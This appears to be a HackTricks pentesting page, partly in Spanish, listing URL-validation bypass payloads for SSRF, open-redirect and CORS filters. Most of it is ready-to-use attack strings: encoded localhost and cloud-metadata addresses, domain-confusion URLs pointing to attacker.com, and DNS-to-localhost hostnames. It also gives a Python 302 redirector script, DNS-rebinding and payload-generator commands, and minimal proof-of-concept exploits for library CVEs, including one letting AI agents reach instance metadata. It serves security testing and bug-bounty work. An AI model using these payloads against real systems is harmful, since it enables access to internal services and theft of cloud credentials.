URL Format Bypass

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Localhost

Localhost payloads ```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

La **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa IP formatting bypasses.

### Analizador de dominios

<details>
<summary>Bypasses para el analizador de dominios</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domain Confusion
Domain confusion payloads ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Paths and Extensions Bypass

Si se requiere que la URL termine en un path o una extension, o que contenga un path, puedes probar uno de los siguientes bypasses:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar eludir la regex usada. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) también para más información.

### Automatic Custom Wordlists

Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger donde puedes introducir el host permitido y el del atacante y generará una lista de URLs para probar. También considera si puedes usar la URL en un parámetro, en una cabecera Host o en una cabecera CORS.


<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Bypass via redirect

Puede que el servidor esté **filtrando la petición original** de una SSRF **pero no** una posible respuesta de **redirect** a esa petición.\
Por ejemplo, un servidor vulnerable a SSRF vía: `url=https://www.google.com/` podría estar **filtrando el parámetro url**. Pero si usas un [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) hacia el lugar donde quieres redirigir, podrías ser capaz de **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos** filtrados como gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>Redireccionador simple para pruebas de SSRF</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

DNS rebinding bypass (2025+)

Even cuando un filtro SSRF realiza una resolución DNS única antes de enviar la solicitud HTTP, aún puedes llegar a hosts internos re‑asignando el dominio entre la consulta y la conexión:

  1. Apunta victim.example.com a una IP pública para que pase el allow‑list / CIDR check.
  2. Sirve un TTL muy bajo (o usa un servidor autoritativo que controles) y reasigna el dominio a 127.0.0.1 o 169.254.169.254 justo antes de que se haga la solicitud real.
  3. Herramientas como Singularity (nccgroup/singularity) automatizan el servidor DNS autoritativo + HTTP e incluyen payloads listos para usar. Ejemplo de lanzamiento: python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.

Esta técnica se usó en 2025 para evadir el parche “safe URL” de BentoML y filtros SSRF de resolución única similares.

Trucos explicados

Backslash-trick

El backslash-trick explota una diferencia entre el WHATWG URL Standard y RFC3986. Mientras RFC3986 es un marco general para URIs, WHATWG es específico para web URLs y está adoptado por navegadores modernos. La distinción clave reside en el reconocimiento por parte del estándar WHATWG de la barra invertida (\) como equivalente a la barra diagonal (/), lo que afecta cómo se parsean las URLs, marcando específicamente la transición del hostname al path en una URL.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Left square bracket

El carácter “left square bracket” [ en el segmento userinfo puede hacer que Spring’s UriComponentsBuilder devuelva un valor de hostname que difiere del de los navegadores: https://example.com[@attacker.com

Otras confusiones

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

imagen de https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 Zone Identifier (%25) Trick

Los parsers de URL modernos que soportan RFC 6874 permiten que direcciones IPv6 link-local incluyan un identificador de zona después del signo de porcentaje. Algunos filtros de seguridad no conocen esta sintaxis y solo eliminarán literales IPv6 entre corchetes, permitiendo que la siguiente payload alcance una interfaz interna:

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Si la aplicación objetivo valida que el host no es fe80::1 pero deja de parsear en el %, puede tratar incorrectamente la petición como externa. Siempre normalice la dirección antes de cualquier decisión de seguridad o elimine por completo el id de zona opcional.

CVE recientes de parsing de librerías (2022–2026)

Un número de frameworks mainstream han sufrido problemas de mismatch en el hostname que pueden explotarse para SSRF una vez que la validación de URL ha sido eludida con los trucos listados arriba:

YearCVEComponentBug synopsisMinimal PoC
2025CVE-2025-0454Python requests + urllib.parse (autogpt)Parsing mismatch on http://localhost:\\@google.com/../ lets allow‑lists think host is google.com while the request hits localhost.requests.get("http://localhost:\\@google.com/../")
2025CVE-2025-2691Node package nossrfLibrary meant to block SSRF only checks the original hostname, not the resolved IP, allowing hostnames that resolve to private ranges.curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1
2024CVE-2024-29415Node ip packageisPublic() misclassified dotted‑octal / short‑form localhost (e.g., 0127.0.0.1, 127.1) as public, letting filters accept internal targets.ip.isPublic('0127.0.0.1') returns true on vulnerable versions
2024CVE-2024-3095Langchain WebResearchRetrieverNo host filtering; GET requests could reach IMDS/localhost from AI agents.User‑controlled URL inside WebResearchRetriever
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ in userinfo parsed differently by Spring vs browsers, allowing allow‑list bypass.https://example.com\[@internal
2023CVE-2023-27592urllib3 <1.26.15Backslash confusion allowed http://example.com\\@169.254.169.254/ to bypass host filters that split on @.
2022CVE-2022-3602OpenSSLHostname verification skipped when the name is suffixed with a . (dotless domain confusion).

Herramientas para generar payloads (2024+)

Crear grandes listas de palabras personalizadas a mano es engorroso. La herramienta open-source SSRF-PayloadMaker (Python 3) puede ahora generar más de 80 k combinaciones de manipulación de hosts automáticamente, incluyendo codificaciones mixtas, degradación forzada a HTTP y variantes con backslash:

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

La lista resultante puede introducirse directamente en Burp Intruder o en ffuf.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks